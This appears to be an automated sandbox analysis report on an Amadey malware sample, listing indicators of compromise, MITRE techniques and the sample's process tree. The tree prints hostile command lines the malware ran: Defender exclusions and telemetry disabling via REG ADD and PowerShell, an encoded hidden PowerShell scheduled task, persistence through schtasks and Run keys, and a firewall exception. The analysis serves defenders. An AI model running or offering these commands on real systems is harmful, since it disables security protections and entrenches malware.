amadey | 5ba928131e9745c59c4d1f6884ca57cce9a2bfb6a94ca321531ca67852920f25

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	New Text Document.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	new.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	Install.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk	home.exe

Executes dropped EXE 10 IoCs

pid	Process
3452	update.exe
3976	setup.exe
4528	Install.exe
4224	home.exe
5112	new.exe
3660	Install.exe
4508	macindas2.1.exe
3548	Server.exe
4972	pujipqto.exe
4084	pujipqto.exe

Loads dropped DLL 11 IoCs

pid	Process
3176	MsiExec.exe
3176	MsiExec.exe
3176	MsiExec.exe
3176	MsiExec.exe
2500	MsiExec.exe
2500	MsiExec.exe
2500	MsiExec.exe
2500	MsiExec.exe
4072	MsiExec.exe
2500	MsiExec.exe
2500	MsiExec.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/files/0x0007000000022e2f-862.dat	themida
behavioral3/files/0x0006000000022e6d-1059.dat	themida
behavioral3/files/0x000200000001e6fc-1375.dat	themida
behavioral3/files/0x000c000000022ed5-38243.dat	themida

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/memory/1956-695-0x00007FF88FF30000-0x00007FF890519000-memory.dmp	upx
behavioral3/memory/1956-697-0x00007FF895360000-0x00007FF895383000-memory.dmp	upx
behavioral3/memory/1956-704-0x00007FF895330000-0x00007FF89535D000-memory.dmp	upx
behavioral3/memory/1956-706-0x00007FF89F300000-0x00007FF89F319000-memory.dmp	upx
behavioral3/memory/1956-710-0x00007FF895300000-0x00007FF895323000-memory.dmp	upx
behavioral3/memory/1956-699-0x00007FF8A82E0000-0x00007FF8A82EF000-memory.dmp	upx
behavioral3/memory/1956-714-0x00007FF899F00000-0x00007FF899F19000-memory.dmp	upx
behavioral3/memory/1956-712-0x00007FF894280000-0x00007FF8943F7000-memory.dmp	upx
behavioral3/memory/1956-722-0x00007FF894D70000-0x00007FF894DA3000-memory.dmp	upx
behavioral3/memory/1956-717-0x00007FF895580000-0x00007FF89558D000-memory.dmp	upx
behavioral3/memory/1956-724-0x00007FF88C740000-0x00007FF88CC60000-memory.dmp	upx
behavioral3/memory/1956-729-0x00007FF893F80000-0x00007FF89404D000-memory.dmp	upx
behavioral3/memory/1956-731-0x00007FF8952E0000-0x00007FF8952F4000-memory.dmp	upx
behavioral3/memory/1956-739-0x00007FF894D60000-0x00007FF894D6D000-memory.dmp	upx
behavioral3/memory/1956-742-0x00007FF893E60000-0x00007FF893F7C000-memory.dmp	upx

Unexpected DNS network traffic destination 34 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	91.211.247.248
Destination IP	81.31.197.8
Destination IP	185.237.206.223
Destination IP	45.155.250.90
Destination IP	45.155.250.90
Destination IP	91.211.247.248
Destination IP	88.80.147.105
Destination IP	88.80.147.105
Destination IP	91.211.247.248
Destination IP	185.237.206.223
Destination IP	91.211.247.248
Destination IP	81.31.197.8
Destination IP	45.155.250.90
Destination IP	81.31.197.8
Destination IP	88.80.147.105
Destination IP	88.80.147.105
Destination IP	185.237.206.223
Destination IP	185.237.206.223
Destination IP	185.237.206.223
Destination IP	81.31.197.8
Destination IP	88.80.147.105
Destination IP	91.211.247.248
Destination IP	45.155.250.90
Destination IP	45.155.250.90
Destination IP	185.237.206.223
Destination IP	91.211.247.248
Destination IP	88.80.147.105
Destination IP	185.237.206.223
Destination IP	45.155.250.90
Destination IP	81.31.197.8
Destination IP	88.80.147.105
Destination IP	81.31.197.8
Destination IP	88.80.147.105
Destination IP	185.237.206.223

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral3/files/0x0009000000022e28-820.dat	vmprotect

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MaxLoonaFest131 = "C:\\Users\\Admin\\AppData\\Local\\MaxLoonaFest131\\MaxLoonaFest131.exe"	home.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
34	4072	MsiExec.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\O:	update.exe
File opened (read-only)	\??\T:	update.exe
File opened (read-only)	\??\U:	update.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\I:	update.exe
File opened (read-only)	\??\Z:	update.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\H:	update.exe
File opened (read-only)	\??\J:	update.exe
File opened (read-only)	\??\V:	update.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\K:	update.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	update.exe
File opened (read-only)	\??\Q:	update.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\R:	update.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	update.exe
File opened (read-only)	\??\L:	update.exe
File opened (read-only)	\??\M:	update.exe
File opened (read-only)	\??\P:	update.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	update.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\X:	update.exe
File opened (read-only)	\??\Y:	update.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	update.exe
File opened (read-only)	\??\E:	update.exe
File opened (read-only)	\??\S:	update.exe
File opened (read-only)	\??\W:	update.exe
File opened (read-only)	\??\I:	msiexec.exe

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
78	ip-api.com
142	api.myip.com
143	api.myip.com
145	ipinfo.io
146	ipinfo.io

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4072	MsiExec.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 4084	4972	pujipqto.exe	114
PID 4084 set thread context of 3324	4084	pujipqto.exe	20

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e57a076.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA6FF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA7DB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57a076.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{7ABB9196-B644-4E72-A55F-311DFA6B488A}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA887.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA992.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9B2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA46E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAB98.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD4E.tmp	msiexec.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8436	sc.exe
1536	sc.exe
11176	sc.exe
8316	sc.exe
7772	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
3676	4564	WerFault.exe	144
3332	2092	WerFault.exe	146
5804	6132	WerFault.exe	264
740	5884	WerFault.exe	276
6280	3444	WerFault.exe	214
6604	6836	WerFault.exe	306
7468	7000	WerFault.exe	317
9344	12496	WerFault.exe	432

NSIS installer 7 IoCs

installer

resource	yara_rule
behavioral3/files/0x0006000000022def-157.dat	nsis_installer_1
behavioral3/files/0x0006000000022def-157.dat	nsis_installer_2
behavioral3/files/0x0006000000022def-162.dat	nsis_installer_1
behavioral3/files/0x0006000000022def-162.dat	nsis_installer_2
behavioral3/files/0x0006000000022def-163.dat	nsis_installer_1
behavioral3/files/0x0006000000022def-163.dat	nsis_installer_2
behavioral3/files/0x000d000000022e90-1734.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2116	schtasks.exe
12276	schtasks.exe
5716	schtasks.exe
2528	schtasks.exe
2888	schtasks.exe
2188	schtasks.exe
5696	schtasks.exe
12020	schtasks.exe
8396	schtasks.exe
3572	schtasks.exe
4400	schtasks.exe
2624	schtasks.exe
4448	schtasks.exe
3664	schtasks.exe
4304	schtasks.exe
9588	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
1456	timeout.exe
7160	timeout.exe
6676	timeout.exe
11116	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
5528	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
12624	ipconfig.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
3228	msiexec.exe
3228	msiexec.exe
4084	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
2028	powershell.exe
2028	powershell.exe
1772	cmstp.exe
1772	cmstp.exe
1772	cmstp.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4972	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe
4084	pujipqto.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4356	New Text Document.exe
Token: SeSecurityPrivilege	3228	msiexec.exe
Token: SeCreateTokenPrivilege	3452	update.exe
Token: SeAssignPrimaryTokenPrivilege	3452	update.exe
Token: SeLockMemoryPrivilege	3452	update.exe
Token: SeIncreaseQuotaPrivilege	3452	update.exe
Token: SeMachineAccountPrivilege	3452	update.exe
Token: SeTcbPrivilege	3452	update.exe
Token: SeSecurityPrivilege	3452	update.exe
Token: SeTakeOwnershipPrivilege	3452	update.exe
Token: SeLoadDriverPrivilege	3452	update.exe
Token: SeSystemProfilePrivilege	3452	update.exe
Token: SeSystemtimePrivilege	3452	update.exe
Token: SeProfSingleProcessPrivilege	3452	update.exe
Token: SeIncBasePriorityPrivilege	3452	update.exe
Token: SeCreatePagefilePrivilege	3452	update.exe
Token: SeCreatePermanentPrivilege	3452	update.exe
Token: SeBackupPrivilege	3452	update.exe
Token: SeRestorePrivilege	3452	update.exe
Token: SeShutdownPrivilege	3452	update.exe
Token: SeDebugPrivilege	3452	update.exe
Token: SeAuditPrivilege	3452	update.exe
Token: SeSystemEnvironmentPrivilege	3452	update.exe
Token: SeChangeNotifyPrivilege	3452	update.exe
Token: SeRemoteShutdownPrivilege	3452	update.exe
Token: SeUndockPrivilege	3452	update.exe
Token: SeSyncAgentPrivilege	3452	update.exe
Token: SeEnableDelegationPrivilege	3452	update.exe
Token: SeManageVolumePrivilege	3452	update.exe
Token: SeImpersonatePrivilege	3452	update.exe
Token: SeCreateGlobalPrivilege	3452	update.exe
Token: SeCreateTokenPrivilege	3452	update.exe
Token: SeAssignPrimaryTokenPrivilege	3452	update.exe
Token: SeLockMemoryPrivilege	3452	update.exe
Token: SeIncreaseQuotaPrivilege	3452	update.exe
Token: SeMachineAccountPrivilege	3452	update.exe
Token: SeTcbPrivilege	3452	update.exe
Token: SeSecurityPrivilege	3452	update.exe
Token: SeTakeOwnershipPrivilege	3452	update.exe
Token: SeLoadDriverPrivilege	3452	update.exe
Token: SeSystemProfilePrivilege	3452	update.exe
Token: SeSystemtimePrivilege	3452	update.exe
Token: SeProfSingleProcessPrivilege	3452	update.exe
Token: SeIncBasePriorityPrivilege	3452	update.exe
Token: SeCreatePagefilePrivilege	3452	update.exe
Token: SeCreatePermanentPrivilege	3452	update.exe
Token: SeBackupPrivilege	3452	update.exe
Token: SeRestorePrivilege	3452	update.exe
Token: SeShutdownPrivilege	3452	update.exe
Token: SeDebugPrivilege	3452	update.exe
Token: SeAuditPrivilege	3452	update.exe
Token: SeSystemEnvironmentPrivilege	3452	update.exe
Token: SeChangeNotifyPrivilege	3452	update.exe
Token: SeRemoteShutdownPrivilege	3452	update.exe
Token: SeUndockPrivilege	3452	update.exe
Token: SeSyncAgentPrivilege	3452	update.exe
Token: SeEnableDelegationPrivilege	3452	update.exe
Token: SeManageVolumePrivilege	3452	update.exe
Token: SeImpersonatePrivilege	3452	update.exe
Token: SeCreateGlobalPrivilege	3452	update.exe
Token: SeCreateTokenPrivilege	3452	update.exe
Token: SeAssignPrimaryTokenPrivilege	3452	update.exe
Token: SeLockMemoryPrivilege	3452	update.exe
Token: SeIncreaseQuotaPrivilege	3452	update.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3604	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 3452	4356	New Text Document.exe	87
PID 4356 wrote to memory of 3452	4356	New Text Document.exe	87
PID 4356 wrote to memory of 3452	4356	New Text Document.exe	87
PID 3228 wrote to memory of 3176	3228	msiexec.exe	95
PID 3228 wrote to memory of 3176	3228	msiexec.exe	95
PID 3228 wrote to memory of 3176	3228	msiexec.exe	95
PID 3452 wrote to memory of 3604	3452	update.exe	96
PID 3452 wrote to memory of 3604	3452	update.exe	96
PID 3452 wrote to memory of 3604	3452	update.exe	96
PID 3228 wrote to memory of 2500	3228	msiexec.exe	98
PID 3228 wrote to memory of 2500	3228	msiexec.exe	98
PID 3228 wrote to memory of 2500	3228	msiexec.exe	98
PID 3228 wrote to memory of 4072	3228	msiexec.exe	99
PID 3228 wrote to memory of 4072	3228	msiexec.exe	99
PID 4356 wrote to memory of 3976	4356	New Text Document.exe	102
PID 4356 wrote to memory of 3976	4356	New Text Document.exe	102
PID 4356 wrote to memory of 3976	4356	New Text Document.exe	102
PID 4356 wrote to memory of 4224	4356	New Text Document.exe	104
PID 4356 wrote to memory of 4224	4356	New Text Document.exe	104
PID 4356 wrote to memory of 4224	4356	New Text Document.exe	104
PID 3976 wrote to memory of 4528	3976	setup.exe	103
PID 3976 wrote to memory of 4528	3976	setup.exe	103
PID 3976 wrote to memory of 4528	3976	setup.exe	103
PID 4224 wrote to memory of 3572	4224	home.exe	105
PID 4224 wrote to memory of 3572	4224	home.exe	105
PID 4224 wrote to memory of 3572	4224	home.exe	105
PID 4356 wrote to memory of 5112	4356	New Text Document.exe	107
PID 4356 wrote to memory of 5112	4356	New Text Document.exe	107
PID 4224 wrote to memory of 4448	4224	home.exe	108
PID 4224 wrote to memory of 4448	4224	home.exe	108
PID 4224 wrote to memory of 4448	4224	home.exe	108
PID 4528 wrote to memory of 3660	4528	Install.exe	109
PID 4528 wrote to memory of 3660	4528	Install.exe	109
PID 4528 wrote to memory of 3660	4528	Install.exe	109
PID 4356 wrote to memory of 4508	4356	New Text Document.exe	111
PID 4356 wrote to memory of 4508	4356	New Text Document.exe	111
PID 4356 wrote to memory of 4508	4356	New Text Document.exe	111
PID 4356 wrote to memory of 3548	4356	New Text Document.exe	112
PID 4356 wrote to memory of 3548	4356	New Text Document.exe	112
PID 4356 wrote to memory of 3548	4356	New Text Document.exe	112
PID 4508 wrote to memory of 4972	4508	macindas2.1.exe	113
PID 4508 wrote to memory of 4972	4508	macindas2.1.exe	113
PID 4508 wrote to memory of 4972	4508	macindas2.1.exe	113
PID 4972 wrote to memory of 4084	4972	pujipqto.exe	114
PID 4972 wrote to memory of 4084	4972	pujipqto.exe	114
PID 4972 wrote to memory of 4084	4972	pujipqto.exe	114
PID 4972 wrote to memory of 4084	4972	pujipqto.exe	114
PID 5112 wrote to memory of 3772	5112	new.exe	115
PID 5112 wrote to memory of 3772	5112	new.exe	115
PID 3324 wrote to memory of 1772	3324	Explorer.EXE	118
PID 3324 wrote to memory of 1772	3324	Explorer.EXE	118
PID 3324 wrote to memory of 1772	3324	Explorer.EXE	118
PID 3660 wrote to memory of 1480	3660	Install.exe	119
PID 3660 wrote to memory of 1480	3660	Install.exe	119
PID 3660 wrote to memory of 1480	3660	Install.exe	119
PID 3660 wrote to memory of 3184	3660	Install.exe	121
PID 3660 wrote to memory of 3184	3660	Install.exe	121
PID 3660 wrote to memory of 3184	3660	Install.exe	121
PID 3184 wrote to memory of 4764	3184	forfiles.exe	123
PID 3184 wrote to memory of 4764	3184	forfiles.exe	123
PID 3184 wrote to memory of 4764	3184	forfiles.exe	123
PID 1480 wrote to memory of 3152	1480	forfiles.exe	124
PID 1480 wrote to memory of 3152	1480	forfiles.exe	124
PID 1480 wrote to memory of 3152	1480	forfiles.exe	124

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Users\Admin\AppData\Local\Temp\New Text Document.exe
  "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Users\Admin\AppData\Local\Temp\a\update.exe
    "C:\Users\Admin\AppData\Local\Temp\a\update.exe"
    3⤵
    - Executes dropped EXE
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\security update\security update 1.5.2.3\install\A6B488A\security update.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\update.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1700716634 " AI_EUIMSI=""
      4⤵
      Enumerates connected drives
      Suspicious use of FindShellTrayWindow
      PID:3604
- - C:\Users\Admin\AppData\Local\Temp\a\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\a\setup.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Users\Admin\AppData\Local\Temp\7zSDDBD.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4528
    - - C:\Users\Admin\AppData\Local\Temp\7zSDF15.tmp\Install.exe
        
        .\Install.exe /OUdidfQn "525403" /S
        5⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:3660
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1480
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:3152
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:2448
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:3172
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3184
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:4764
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:1676
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:1336
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gcMCcDQsU" /SC once /ST 00:00:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:4304
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gcMCcDQsU"
        6⤵
        
        PID:1888
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gcMCcDQsU"
        6⤵
        
        PID:4520
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbPqNtaaeFeEtSKaKR" /SC once /ST 00:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\krtsSySmQGsixlr\wqLDCKH.exe\" 8N /Gasite_idpTO 525403 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:3664
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "bbPqNtaaeFeEtSKaKR"
        6⤵
        
        PID:12000
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "GVFFxSkoOBQmaesjx" /SC once /ST 00:08:40 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\UcpCEAFeKxUwNazky\gQaBqPmlfJhfnAA\FjQSjBI.exe\" Xs /XFsite_idHga 525403 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:8396
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "GVFFxSkoOBQmaesjx"
        6⤵
        
        PID:11080
- - C:\Users\Admin\AppData\Local\Temp\a\home.exe
    "C:\Users\Admin\AppData\Local\Temp\a\home.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3572
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:4448
- - C:\Users\Admin\AppData\Local\Temp\a\new.exe
    "C:\Users\Admin\AppData\Local\Temp\a\new.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\new.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'new.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\new.exe'
      4⤵
      PID:5032
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
      4⤵
      Creates scheduled task(s)
      PID:2888
- - C:\Users\Admin\AppData\Local\Temp\a\macindas2.1.exe
    "C:\Users\Admin\AppData\Local\Temp\a\macindas2.1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Users\Admin\AppData\Local\Temp\pujipqto.exe
      "C:\Users\Admin\AppData\Local\Temp\pujipqto.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Users\Admin\AppData\Local\Temp\pujipqto.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pujipqto.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4084
- - C:\Users\Admin\AppData\Local\Temp\a\Server.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Server.exe"
    3⤵
    - Executes dropped EXE
    PID:3548
  - - C:\Users\Admin\AppData\Local\Temp\server.exe
      "C:\Users\Admin\AppData\Local\Temp\server.exe"
      4⤵
      PID:2832
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:952
